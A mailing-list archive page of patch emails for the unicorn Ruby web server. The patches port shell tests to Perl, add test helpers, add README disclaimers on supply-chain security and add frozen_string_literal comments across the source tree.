+ $c = tcp_start $srv, 'GET /env_dump HTTP/1.0';
+ vec(my $rvec = '', fileno($c), 1) = 1;
+ select($rvec, undef, undef, 10) or BAIL_OUT 'timed out env_dump';
+ ($status, $hdr) = slurp_hdr($c);
+ like $status, qr!\AHTTP/1\.[01] 200!, 'got part of first response';
+ ok $hdr, 'got all headers';
+
+ # start a slow TCP request
+ my $rfifo = "$tmpdir/rfifo";
+ mkfifo_die $rfifo;
+ $c = tcp_start $srv, "GET /read_fifo HTTP/1.0\r\nRead-FIFO: $rfifo";
+ tcp_start $srv, 'GET /aborted HTTP/1.0' for (1..100);
+ write_file '>', $rfifo, 'TFIN';
+ ($status, $hdr) = slurp_hdr($c);
+ like $status, qr!\AHTTP/1\.[01] 200!, 'got part of first response';
+ $bdy = <$c>;
+ is $bdy, 'TFIN', 'got slow response from TCP socket';
+
+ # slow Unix socket request
+ $c = unix_start $u1, "GET /read_fifo HTTP/1.0\r\nRead-FIFO: $rfifo";
+ vec($rvec = '', fileno($c), 1) = 1;
+ select($rvec, undef, undef, 10) or BAIL_OUT 'timed out Unix CCC';
+ unix_start $u1, 'GET /aborted HTTP/1.0' for (1..100);
+ write_file '>', $rfifo, 'UFIN';
+ ($status, $hdr) = slurp_hdr($c);
+ like $status, qr!\AHTTP/1\.[01] 200!, 'got part of first response';
+ $bdy = <$c>;
+ is $bdy, 'UFIN', 'got slow response from Unix socket';
+
+ ($status, $hdr, $bdy) = do_req $srv, 'GET /nr_aborts HTTP/1.0';
+ like "@$hdr", qr/nr-aborts: 0\b/,
+ 'aborted connections unseen by Rack app';
}
if ('max_header_len internal API') {
diff --git a/test/unit/test_ccc.rb b/test/unit/test_ccc.rb
deleted file mode 100644
index a0a2bff..0000000
--- a/test/unit/test_ccc.rb
+++ /dev/null
@@ -1,92 +0,0 @@
-# frozen_string_literal: false
-require 'socket'
-require 'unicorn'
-require 'io/wait'
-require 'tempfile'
-require 'test/unit'
-require './test/test_helper'
-
-class TestCccTCPI < Test::Unit::TestCase
- def test_ccc_tcpi
- start_pid = $$
- host = '127.0.0.1'
- srv = TCPServer.new(host, 0)
- port = srv.addr[1]
- err = Tempfile.new('unicorn_ccc')
- rd, wr = IO.pipe
- sleep_pipe = IO.pipe
- pid = fork do
- sleep_pipe[1].close
- reqs = 0
- rd.close
- worker_pid = nil
- app = lambda do |env|
- worker_pid ||= begin
- at_exit { wr.write(reqs.to_s) if worker_pid == $$ }
- $$
- end
- reqs += 1
-
- # will wake up when writer closes
- sleep_pipe[0].read if env['PATH_INFO'] == '/sleep'
-
- [ 200, {'content-length'=>'0', 'content-type'=>'text/plain'}, [] ]
- end
- ENV['UNICORN_FD'] = srv.fileno.to_s
- opts = {
- listeners: [ "#{host}:#{port}" ],
- stderr_path: err.path,
- check_client_connection: true,
- }
- uni = Unicorn::HttpServer.new(app, opts)
- uni.start.join
- end
- wr.close
-
- # make sure the server is running, at least
- client = tcp_socket(host, port)
- client.write("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
- assert client.wait(10), 'never got response from server'
- res = client.read
- assert_match %r{\AHTTP/1\.1 200}, res, 'got part of first response'
- assert_match %r{\r\n\r\n\z}, res, 'got end of response, server is ready'
- client.close
-
- # start a slow request...
- sleeper = tcp_socket(host, port)
- sleeper.write("GET /sleep HTTP/1.1\r\nHost: example.com\r\n\r\n")
-
- # and a bunch of aborted ones
- nr = 100
- nr.times do |i|
- client = tcp_socket(host, port)
- client.write("GET /collections/#{rand(10000)} HTTP/1.1\r\n" \
- "Host: example.com\r\n\r\n")
- client.close
- end
- sleep_pipe[1].close # wake up the reader in the worker
- res = sleeper.read
- assert_match %r{\AHTTP/1\.1 200}, res, 'got part of first sleeper response'
- assert_match %r{\r\n\r\n\z}, res, 'got end of sleeper response'
- sleeper.close
- kpid = pid
- pid = nil
- Process.kill(:QUIT, kpid)
- _, status = Process.waitpid2(kpid)
- assert status.success?
- reqs = rd.read.to_i
- warn "server got #{reqs} requests with #{nr} CCC aborted\n" if $DEBUG
- assert_operator reqs, :<, nr
- assert_operator reqs, :>=, 2, 'first 2 requests got through, at least'
- ensure
- return if start_pid != $$
- srv.close if srv
- if pid
- Process.kill(:QUIT, pid)
- _, status = Process.waitpid2(pid)
- assert status.success?
- end
- err.close! if err
- rd.close if rd
- end
-end
^ permalink raw reply related [relevance 11%]
* [PATCH] t/lib.perl: fix Perl integration tests w/o installation
@ 2024-04-07 10:52 7% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2024-04-07 10:52 UTC (permalink / raw)
To: unicorn-public
We can't rely on `ruby -I $PATH' args being passed to
subprocesses, so rely on the RUBYLIB environment instead.
---
t/lib.perl | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/t/lib.perl b/t/lib.perl
index b20a2c6..8c842b1 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -240,7 +240,9 @@ sub unicorn {
state $eng = $ENV{TEST_RUBY_ENGINE} // `$ruby -e 'print RUBY_ENGINE'`;
state $ext = File::Spec->rel2abs("test/$eng-$ver/ext/unicorn_http");
state $exe = File::Spec->rel2abs("test/$eng-$ver/bin/unicorn");
- my $pid = spawn(\%env, $ruby, '-I', $lib, '-I', $ext, $exe, @args);
+ state $rl = $ENV{RUBYLIB} ? "$lib:$ext:$ENV{RUBYLIB}" : "$lib:$ext";
+ $env{RUBYLIB} = $rl;
+ my $pid = spawn(\%env, $ruby, $exe, @args);
UnicornTest::AutoReap->new($pid);
}
^ permalink raw reply related [relevance 7%]
* [PATCH 0/4] a small pile of patches
@ 2024-03-23 19:45 19% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2024-03-23 19:45 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 4446 bytes --]
Some stuff to future-proof against future Ruby incompatibilities.
More coming....
I've also pushed out preliminary work (started in 2021) to the
`pico' branch to switch the HTTP parser from Ragel to
picohttpparser. It will simplify the build + maintenance,
especially when distros carry different Ragel versions (or don't
package it all, as some hackers can't afford bandwidth and disk
for a C++ toolchain).
Other notes: New releases will probably be hosted on yhbt.net if
the Rubygems.org MFA threshold is reached. Caring about the
identity of hackers is totally misguided when we already show
our code (and even document it!). If you can't audit the code
yourself, get an actual professional to do it and don't bother
amateurs like me.
Eric Wong (4):
t/integration: disable proxies when running curl(1)
tests: port back-out-of-upgrade to Perl 5
doc: various updates and disclaimers
treewide: future-proof frozen_string_literal changes
HACKING | 13 +++-
README | 9 +++
Rakefile | 1 +
TODO | 4 +-
bin/unicorn | 1 +
bin/unicorn_rails | 1 +
examples/big_app_gc.rb | 1 +
examples/echo.ru | 1 +
examples/logger_mp_safe.rb | 1 +
examples/unicorn.conf.minimal.rb | 1 +
examples/unicorn.conf.rb | 1 +
ext/unicorn_http/extconf.rb | 1 +
lib/unicorn.rb | 1 +
lib/unicorn/app/old_rails.rb | 1 +
lib/unicorn/app/old_rails/static.rb | 1 +
lib/unicorn/cgi_wrapper.rb | 1 +
lib/unicorn/configurator.rb | 1 +
lib/unicorn/const.rb | 1 +
lib/unicorn/http_request.rb | 1 +
lib/unicorn/http_response.rb | 1 +
lib/unicorn/http_server.rb | 1 +
lib/unicorn/launcher.rb | 1 +
lib/unicorn/oob_gc.rb | 1 +
lib/unicorn/preread_input.rb | 1 +
lib/unicorn/select_waiter.rb | 1 +
lib/unicorn/socket_helper.rb | 1 +
lib/unicorn/stream_input.rb | 1 +
lib/unicorn/tee_input.rb | 1 +
lib/unicorn/tmpio.rb | 1 +
lib/unicorn/util.rb | 1 +
lib/unicorn/worker.rb | 1 +
setup.rb | 1 +
t/back-out-of-upgrade.t | 44 +++++++++++
t/broken-app.ru | 1 +
t/client_body_buffer_size.ru | 1 +
t/detach.ru | 1 +
t/env.ru | 1 +
t/fails-rack-lint.ru | 1 +
t/heartbeat-timeout.ru | 1 +
t/integration.ru | 1 +
t/integration.t | 1 +
t/lib.perl | 67 ++++++++++++++---
t/listener_names.ru | 1 +
t/oob_gc.ru | 1 +
t/oob_gc_path.ru | 1 +
t/pid.ru | 1 +
t/preread_input.ru | 1 +
t/reopen-logs.ru | 1 +
t/t0008-back_out_of_upgrade.sh | 110 ----------------------------
t/t0013.ru | 1 +
t/t0014.ru | 1 +
t/t0301.ru | 1 +
test/aggregate.rb | 1 +
test/benchmark/dd.ru | 1 +
test/benchmark/ddstream.ru | 1 +
test/benchmark/readinput.ru | 1 +
test/benchmark/stack.ru | 1 +
test/exec/test_exec.rb | 1 +
test/test_helper.rb | 1 +
test/unit/test_ccc.rb | 1 +
test/unit/test_configurator.rb | 1 +
test/unit/test_droplet.rb | 1 +
test/unit/test_http_parser.rb | 1 +
test/unit/test_http_parser_ng.rb | 1 +
test/unit/test_request.rb | 1 +
test/unit/test_server.rb | 1 +
test/unit/test_signals.rb | 1 +
test/unit/test_socket_helper.rb | 1 +
test/unit/test_stream_input.rb | 1 +
test/unit/test_tee_input.rb | 1 +
test/unit/test_util.rb | 1 +
test/unit/test_waiter.rb | 1 +
unicorn.gemspec | 1 +
73 files changed, 188 insertions(+), 126 deletions(-)
create mode 100644 t/back-out-of-upgrade.t
delete mode 100755 t/t0008-back_out_of_upgrade.sh
[-- Attachment #2: 0001-t-integration-disable-proxies-when-running-curl-1.patch --]
[-- Type: text/x-diff, Size: 737 bytes --]
From f3acce5dce62ac4b0288d3c0ddf0a6db2cbd9e7f Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Tue, 9 Jan 2024 21:35:08 +0000
Subject: [PATCH 1/4] t/integration: disable proxies when running curl(1)
This was also done in t/test-lib.sh, but using '*' is more
encompassing.
---
t/integration.t | 1 +
1 file changed, 1 insertion(+)
diff --git a/t/integration.t b/t/integration.t
index 7310ff2..d17ace0 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -27,6 +27,7 @@ listen "$u1"
EOM
my $ar = unicorn(qw(-E none t/integration.ru -c), $u_conf, { 3 => $srv });
my $curl = which('curl');
+local $ENV{NO_PROXY} = '*'; # for curl
my $fifo = "$tmpdir/fifo";
POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
my %PUT = (
[-- Attachment #3: 0002-tests-port-back-out-of-upgrade-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 8889 bytes --]
From 724fb631c76f09964ec289ee8e144886ba15d380 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 6 Nov 2023 05:45:29 +0000
Subject: [PATCH 2/4] tests: port back-out-of-upgrade to Perl 5
Another place where we can be faster without adding more
dependencies on Ruby maintaining stable behavior.
---
t/back-out-of-upgrade.t | 44 +++++++++++++
t/lib.perl | 67 +++++++++++++++++---
t/t0008-back_out_of_upgrade.sh | 110 ---------------------------------
3 files changed, 102 insertions(+), 119 deletions(-)
create mode 100644 t/back-out-of-upgrade.t
delete mode 100755 t/t0008-back_out_of_upgrade.sh
diff --git a/t/back-out-of-upgrade.t b/t/back-out-of-upgrade.t
new file mode 100644
index 0000000..cf3b09f
--- /dev/null
+++ b/t/back-out-of-upgrade.t
@@ -0,0 +1,44 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+# test backing out of USR2 upgrade
+use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
+my $srv = tcp_server();
+mkfifo_die $fifo;
+write_file '>', $u_conf, <<EOM;
+preload_app true
+stderr_path "$err_log"
+pid "$pid_file"
+after_fork { |s,w| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
+EOM
+my $ar = unicorn(qw(-E none t/pid.ru -c), $u_conf, { 3 => $srv });
+
+like(my $wpid_orig_1 = slurp($fifo), qr/\Apid=\d+\z/a, 'got worker pid');
+
+ok $ar->do_kill('USR2'), 'USR2 to start upgrade';
+ok $ar->do_kill('WINCH'), 'drop old worker';
+
+like(my $wpid_new = slurp($fifo), qr/\Apid=\d+\z/a, 'got pid from new master');
+chomp(my $new_pid = slurp($pid_file));
+isnt $new_pid, $ar->{pid}, 'PID file changed';
+chomp(my $pid_oldbin = slurp("$pid_file.oldbin"));
+is $pid_oldbin, $ar->{pid}, '.oldbin PID valid';
+
+ok $ar->do_kill('HUP'), 'HUP old master';
+like(my $wpid_orig_2 = slurp($fifo), qr/\Apid=\d+\z/a, 'got worker new pid');
+ok kill('QUIT', $new_pid), 'abort old master';
+kill_until_dead $new_pid;
+
+my ($st, $hdr, $req_pid) = do_req $srv, 'GET /';
+chomp $req_pid;
+is $wpid_orig_2, "pid=$req_pid", 'new worker on old worker serves';
+
+ok !-f "$pid_file.oldbin", '.oldbin PID file gone';
+chomp(my $old_pid = slurp($pid_file));
+is $old_pid, $ar->{pid}, 'PID file restored';
+
+my @log = grep !/ERROR -- : reaped .*? exec\(\)-ed/, slurp($err_log);
+check_stderr @log;
+undef $tmpdir;
+done_testing;
diff --git a/t/lib.perl b/t/lib.perl
index 9254b23..b20a2c6 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -6,30 +6,58 @@ use v5.14;
use parent qw(Exporter);
use autodie;
use Test::More;
+use Socket qw(SOMAXCONN);
use Time::HiRes qw(sleep time);
use IO::Socket::INET;
+use IO::Socket::UNIX;
+use Carp qw(croak);
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh, $err_log, $u_sock, $u_conf, $daemon_pid,
- $pid_file);
+ $pid_file, $wtest_sock, $fifo);
our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn
$tmpdir $errfh $err_log $u_sock $u_conf $daemon_pid $pid_file
+ $wtest_sock $fifo
SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr
- do_req stop_daemon sleep time);
+ do_req stop_daemon sleep time mkfifo_die kill_until_dead write_file);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
+
+$wtest_sock = "$tmpdir/wtest.sock";
$err_log = "$tmpdir/err.log";
$pid_file = "$tmpdir/pid";
+$fifo = "$tmpdir/fifo";
$u_sock = "$tmpdir/u.sock";
$u_conf = "$tmpdir/u.conf.rb";
open($errfh, '>>', $err_log);
+if (my $t = $ENV{TAIL}) {
+ my @tail = $t =~ /tail/ ? split(/\s+/, $t) : (qw(tail -F));
+ push @tail, $err_log;
+ my $pid = fork;
+ if ($pid == 0) {
+ open STDOUT, '>&', \*STDERR;
+ exec @tail;
+ die "exec(@tail): $!";
+ }
+ say "# @tail";
+ sleep 0.2;
+ UnicornTest::AutoReap->new($pid);
+}
+
+sub kill_until_dead ($;%) {
+ my ($pid, %opt) = @_;
+ my $tries = $opt{tries} // 1000;
+ my $sig = $opt{sig} // 0;
+ while (CORE::kill($sig, $pid) && --$tries) { sleep(0.01) }
+ $tries or croak "PID: $pid died after signal ($sig)";
+}
+
sub stop_daemon (;$) {
my ($is_END) = @_;
kill('TERM', $daemon_pid);
- my $tries = 1000;
- while (CORE::kill(0, $daemon_pid) && --$tries) { sleep(0.01) }
+ kill_until_dead $daemon_pid;
if ($is_END && CORE::kill(0, $daemon_pid)) { # after done_testing
CORE::kill('KILL', $daemon_pid);
die "daemon_pid=$daemon_pid did not die";
@@ -44,8 +72,9 @@ END {
stop_daemon(1) if defined $daemon_pid;
};
-sub check_stderr () {
- my @log = slurp($err_log);
+sub check_stderr (@) {
+ my @log = @_;
+ slurp($err_log) if !@log;
diag("@log") if $ENV{V};
my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
@err = grep(!/failed to set accept_filter=/, @err);
@@ -63,6 +92,16 @@ sub slurp_hdr {
($status, \@hdr);
}
+sub unix_server (;$@) {
+ my $l = shift // $u_sock;
+ IO::Socket::UNIX->new(Listen => SOMAXCONN, Local => $l, Blocking => 0,
+ Type => SOCK_STREAM, @_);
+}
+
+sub unix_connect ($) {
+ IO::Socket::UNIX->new(Peer => $_[0], Type => SOCK_STREAM);
+}
+
sub tcp_server {
my %opt = (
ReuseAddr => 1,
@@ -95,8 +134,7 @@ sub tcp_host_port {
sub unix_start ($@) {
my ($dst, @req) = @_;
- my $s = IO::Socket::UNIX->new(Peer => $dst, Type => SOCK_STREAM) or
- BAIL_OUT "unix connect $dst: $!";
+ my $s = unix_connect($dst) or BAIL_OUT "unix connect $dst: $!";
$s->autoflush(1);
print $s @req, "\r\n\r\n" if @req;
$s;
@@ -201,7 +239,7 @@ sub unicorn {
state $ver = $ENV{TEST_RUBY_VERSION} // `$ruby -e 'print RUBY_VERSION'`;
state $eng = $ENV{TEST_RUBY_ENGINE} // `$ruby -e 'print RUBY_ENGINE'`;
state $ext = File::Spec->rel2abs("test/$eng-$ver/ext/unicorn_http");
- state $exe = File::Spec->rel2abs('bin/unicorn');
+ state $exe = File::Spec->rel2abs("test/$eng-$ver/bin/unicorn");
my $pid = spawn(\%env, $ruby, '-I', $lib, '-I', $ext, $exe, @args);
UnicornTest::AutoReap->new($pid);
}
@@ -219,6 +257,17 @@ sub do_req ($@) {
($status, $hdr, $bdy);
}
+sub mkfifo_die ($;$) {
+ POSIX::mkfifo($_[0], $_[1] // 0600) or croak "mkfifo: $!";
+}
+
+sub write_file ($$@) { # mode, filename, LIST (for print)
+ open(my $fh, shift, shift);
+ print $fh @_;
+ # return $fh for futher writes if user wants it:
+ defined(wantarray) && !wantarray ? $fh : close $fh;
+}
+
# automatically kill + reap children when this goes out-of-scope
package UnicornTest::AutoReap;
use v5.14;
diff --git a/t/t0008-back_out_of_upgrade.sh b/t/t0008-back_out_of_upgrade.sh
deleted file mode 100755
index 96d4057..0000000
--- a/t/t0008-back_out_of_upgrade.sh
+++ /dev/null
@@ -1,110 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 13 "backout of USR2 upgrade"
-
-worker_wait_start () {
- test xSTART = x"$(cat $fifo)"
- unicorn_pid=$(cat $pid)
-}
-
-t_begin "setup and start" && {
- unicorn_setup
- rm -f $pid.oldbin
-
-cat >> $unicorn_config <<EOF
-after_fork do |server, worker|
- # test script will block while reading from $fifo,
- # so notify the script on the first worker we spawn
- # by opening the FIFO
- if worker.nr == 0
- File.open("$fifo", "wb") { |fp| fp.syswrite "START" }
- end
-end
-EOF
- unicorn -D -c $unicorn_config pid.ru
- worker_wait_start
- orig_master_pid=$unicorn_pid
-}
-
-t_begin "read original worker pid" && {
- orig_worker_pid=$(curl -sSf http://$listen/)
- test -n "$orig_worker_pid" && kill -0 $orig_worker_pid
-}
-
-t_begin "upgrade to new master" && {
- kill -USR2 $orig_master_pid
-}
-
-t_begin "kill old worker" && {
- kill -WINCH $orig_master_pid
-}
-
-t_begin "wait for new worker to start" && {
- worker_wait_start
- test $unicorn_pid -ne $orig_master_pid
- new_master_pid=$unicorn_pid
-}
-
-t_begin "old master pid is stashed in $pid.oldbin" && {
- test -s "$pid.oldbin"
- test $orig_master_pid -eq $(cat $pid.oldbin)
-}
-
-t_begin "ensure old worker is no longer running" && {
- i=0
- while kill -0 $orig_worker_pid 2>/dev/null
- do
- i=$(( $i + 1 ))
- test $i -lt 600 || die "timed out"
- sleep 1
- done
-}
-
-t_begin "capture pid of new worker" && {
- new_worker_pid=$(curl -sSf http://$listen/)
-}
-
-t_begin "reload old master process" && {
- kill -HUP $orig_master_pid
- worker_wait_start
-}
-
-t_begin "gracefully kill new master and ensure it dies" && {
- kill -QUIT $new_master_pid
- i=0
- while kill -0 $new_worker_pid 2>/dev/null
- do
- i=$(( $i + 1 ))
- test $i -lt 600 || die "timed out"
- sleep 1
- done
-}
-
-t_begin "ensure $pid.oldbin does not exist" && {
- i=0
- while test -s $pid.oldbin
- do
- i=$(( $i + 1 ))
- test $i -lt 600 || die "timed out"
- sleep 1
- done
- while ! test -s $pid
- do
- i=$(( $i + 1 ))
- test $i -lt 600 || die "timed out"
- sleep 1
- done
-}
-
-t_begin "ensure $pid is correct" && {
- cur_master_pid=$(cat $pid)
- test $orig_master_pid -eq $cur_master_pid
-}
-
-t_begin "killing succeeds" && {
- kill $orig_master_pid
-}
-
-dbgcat r_err
-
-t_done
[-- Attachment #4: 0003-doc-various-updates-and-disclaimers.patch --]
[-- Type: text/x-diff, Size: 3343 bytes --]
From 69d15a7a51a096b6acf00ccf23e1b988076d3b5f Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Mon, 1 Jan 2024 10:43:13 +0000
Subject: [PATCH 3/4] doc: various updates and disclaimers
Covering my ass from draconian legislation.
---
HACKING | 13 +++++++++----
README | 9 +++++++++
TODO | 4 +---
3 files changed, 19 insertions(+), 7 deletions(-)
diff --git a/HACKING b/HACKING
index 5aca83e..777e75e 100644
--- a/HACKING
+++ b/HACKING
@@ -6,6 +6,8 @@ Like Mongrel, we use Ruby where it makes sense, and Ragel with C where
it helps performance. All of the code that actually runs your Rack
application is written Ruby, Ragel or C.
+Ragel may be dropped in favor of a picohttpparser-based one in the future.
+
As far as tests and documentation goes, we're not afraid to embrace Unix
and use traditional Unix tools where they make sense and get the job
done.
@@ -16,6 +18,9 @@ Tests are good, but slow tests make development slow, so we make tests
faster (in parallel) with GNU make (instead of Rake) and avoiding
RubyGems.
+New tests are written in Perl 5 and use TAP <https://testanything.org/>
+to ensure stability and immunity from Ruby incompatibilities.
+
Users of GNU-based systems (such as GNU/Linux) usually have GNU make
installed as "make" instead of "gmake".
@@ -69,10 +74,10 @@ supported by the versions of Ruby we target.
=== Ragel Compatibility
-We target the latest released version of Ragel and will update our code
-to keep up with new releases. Packaged tarballs and gems include the
-generated source code so they will remain usable if compatibility is
-broken.
+We target the latest released version of Ragel in Debian and will update
+our code to keep up with new releases. Packaged tarballs and gems
+include the generated source code so they will remain usable if
+compatibility is broken.
== Contributing
diff --git a/README b/README
index 84c0fdf..b60ed00 100644
--- a/README
+++ b/README
@@ -122,6 +122,7 @@ supported. Run `unicorn -h` to see command-line options.
There is NO WARRANTY whatsoever if anything goes wrong, but
{let us know}[link:ISSUES.html] and maybe someone can fix it.
+No commercial support will ever be provided by the amateur maintainer.
unicorn is designed to only serve fast clients either on the local host
or a fast LAN. See the PHILOSOPHY and DESIGN documents for more details
@@ -132,6 +133,14 @@ damage done to the entire Ruby ecosystem. Its unintentional popularity
set Ruby back decades in parallelism, concurrency and robustness since
it prolongs and proliferates the existence of poorly-written code.
+unicorn hackers are NOT responsible for your supply chain security:
+read and understand it yourself or get someone you trust to audit it.
+Malicious commits and releases will be made if under duress. The only
+defense you'll ever have is from reviewing the source code.
+
+No user or contributor will ever be expected to sacrifice their own
+security by running JavaScript or revealing any personal information.
+
== Contact
All feedback (bug reports, user/development dicussion, patches, pull
diff --git a/TODO b/TODO
index ebbccdc..a3b18fd 100644
--- a/TODO
+++ b/TODO
@@ -1,3 +1 @@
-* Documentation improvements
-
-* improve test suite
+* improve test suite (port to Perl 5 for stability and maintainability)
[-- Attachment #5: 0004-treewide-future-proof-frozen_string_literal-changes.patch --]
[-- Type: text/x-diff, Size: 24100 bytes --]
From ccf2443901c18ffb26b2785f52d921005e862167 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Thu, 8 Feb 2024 12:16:31 +0000
Subject: [PATCH 4/4] treewide: future-proof frozen_string_literal changes
Once again Ruby seems ready to introduce more incompatibilities
and force busywork upon maintainers[1]. In order to avoid
incompatibilities in the future, I used a Perl script[2] to
prepend `frozen_string_literal: false' to every Ruby file.
Somebody interested will have to go through every Ruby source
file and enable frozen_string_literal once they've thoroughly
verified it's safe to do so.
[1] https://bugs.ruby-lang.org/issues/20205
[2] https://yhbt.net/add-fsl.git/74d7689/s/?b=add-fsl.perl
---
Rakefile | 1 +
bin/unicorn | 1 +
bin/unicorn_rails | 1 +
examples/big_app_gc.rb | 1 +
examples/echo.ru | 1 +
examples/logger_mp_safe.rb | 1 +
examples/unicorn.conf.minimal.rb | 1 +
examples/unicorn.conf.rb | 1 +
ext/unicorn_http/extconf.rb | 1 +
lib/unicorn.rb | 1 +
lib/unicorn/app/old_rails.rb | 1 +
lib/unicorn/app/old_rails/static.rb | 1 +
lib/unicorn/cgi_wrapper.rb | 1 +
lib/unicorn/configurator.rb | 1 +
lib/unicorn/const.rb | 1 +
lib/unicorn/http_request.rb | 1 +
lib/unicorn/http_response.rb | 1 +
lib/unicorn/http_server.rb | 1 +
lib/unicorn/launcher.rb | 1 +
lib/unicorn/oob_gc.rb | 1 +
lib/unicorn/preread_input.rb | 1 +
lib/unicorn/select_waiter.rb | 1 +
lib/unicorn/socket_helper.rb | 1 +
lib/unicorn/stream_input.rb | 1 +
lib/unicorn/tee_input.rb | 1 +
lib/unicorn/tmpio.rb | 1 +
lib/unicorn/util.rb | 1 +
lib/unicorn/worker.rb | 1 +
setup.rb | 1 +
t/broken-app.ru | 1 +
t/client_body_buffer_size.ru | 1 +
t/detach.ru | 1 +
t/env.ru | 1 +
t/fails-rack-lint.ru | 1 +
t/heartbeat-timeout.ru | 1 +
t/integration.ru | 1 +
t/listener_names.ru | 1 +
t/oob_gc.ru | 1 +
t/oob_gc_path.ru | 1 +
t/pid.ru | 1 +
t/preread_input.ru | 1 +
t/reopen-logs.ru | 1 +
t/t0013.ru | 1 +
t/t0014.ru | 1 +
t/t0301.ru | 1 +
test/aggregate.rb | 1 +
test/benchmark/dd.ru | 1 +
test/benchmark/ddstream.ru | 1 +
test/benchmark/readinput.ru | 1 +
test/benchmark/stack.ru | 1 +
test/exec/test_exec.rb | 1 +
test/test_helper.rb | 1 +
test/unit/test_ccc.rb | 1 +
test/unit/test_configurator.rb | 1 +
test/unit/test_droplet.rb | 1 +
test/unit/test_http_parser.rb | 1 +
test/unit/test_http_parser_ng.rb | 1 +
test/unit/test_request.rb | 1 +
test/unit/test_server.rb | 1 +
test/unit/test_signals.rb | 1 +
test/unit/test_socket_helper.rb | 1 +
test/unit/test_stream_input.rb | 1 +
test/unit/test_tee_input.rb | 1 +
test/unit/test_util.rb | 1 +
test/unit/test_waiter.rb | 1 +
unicorn.gemspec | 1 +
66 files changed, 66 insertions(+)
diff --git a/Rakefile b/Rakefile
index 37569ce..fe1588b 100644
--- a/Rakefile
+++ b/Rakefile
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# optional rake-compiler support in case somebody needs to cross compile
begin
mk = "ext/unicorn_http/Makefile"
diff --git a/bin/unicorn b/bin/unicorn
index 00c8464..af8353c 100755
--- a/bin/unicorn
+++ b/bin/unicorn
@@ -1,5 +1,6 @@
#!/this/will/be/overwritten/or/wrapped/anyways/do/not/worry/ruby
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'unicorn/launcher'
require 'optparse'
diff --git a/bin/unicorn_rails b/bin/unicorn_rails
index 354c1df..374fd8e 100755
--- a/bin/unicorn_rails
+++ b/bin/unicorn_rails
@@ -1,5 +1,6 @@
#!/this/will/be/overwritten/or/wrapped/anyways/do/not/worry/ruby
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'unicorn/launcher'
require 'optparse'
require 'fileutils'
diff --git a/examples/big_app_gc.rb b/examples/big_app_gc.rb
index c1bae10..0baea26 100644
--- a/examples/big_app_gc.rb
+++ b/examples/big_app_gc.rb
@@ -1,2 +1,3 @@
+# frozen_string_literal: false
# see {Unicorn::OobGC}[https://yhbt.net/unicorn/Unicorn/OobGC.html]
# Unicorn::OobGC was broken in Unicorn v3.3.1 - v3.6.1 and fixed in v3.6.2
diff --git a/examples/echo.ru b/examples/echo.ru
index e982180..453a5e6 100644
--- a/examples/echo.ru
+++ b/examples/echo.ru
@@ -1,4 +1,5 @@
#\-E none
+# frozen_string_literal: false
#
# Example application that echoes read data back to the HTTP client.
# This emulates the old echo protocol people used to run.
diff --git a/examples/logger_mp_safe.rb b/examples/logger_mp_safe.rb
index 05ad3fa..f2c0500 100644
--- a/examples/logger_mp_safe.rb
+++ b/examples/logger_mp_safe.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# Multi-Processing-safe monkey patch for Logger
#
# This monkey patch fixes the case where "preload_app true" is used and
diff --git a/examples/unicorn.conf.minimal.rb b/examples/unicorn.conf.minimal.rb
index 46fd634..4f96ede 100644
--- a/examples/unicorn.conf.minimal.rb
+++ b/examples/unicorn.conf.minimal.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# Minimal sample configuration file for Unicorn (not Rack) when used
# with daemonization (unicorn -D) started in your working directory.
#
diff --git a/examples/unicorn.conf.rb b/examples/unicorn.conf.rb
index d90bdc4..5bae830 100644
--- a/examples/unicorn.conf.rb
+++ b/examples/unicorn.conf.rb
@@ -1,3 +1,4 @@
+# frozen_string_literal: false
# Sample verbose configuration file for Unicorn (not Rack)
#
# This configuration file documents many features of Unicorn
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index 11099cd..de896fe 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'mkmf'
have_func("rb_hash_clear", "ruby.h") or abort 'Ruby 2.0+ required'
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index 564cb30..fb91679 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -1,4 +1,5 @@
# -*- encoding: binary -*-
+# frozen_string_literal: false
require 'etc'
require 'stringio'
require 'raindrops'
diff --git a/lib/unicorn/app/old_rails.rb b/lib/unicorn/app/old_rails.rb
index 1e8c41a..54b3e69 100644
--- a/lib/unicorn/app/old_rails.rb
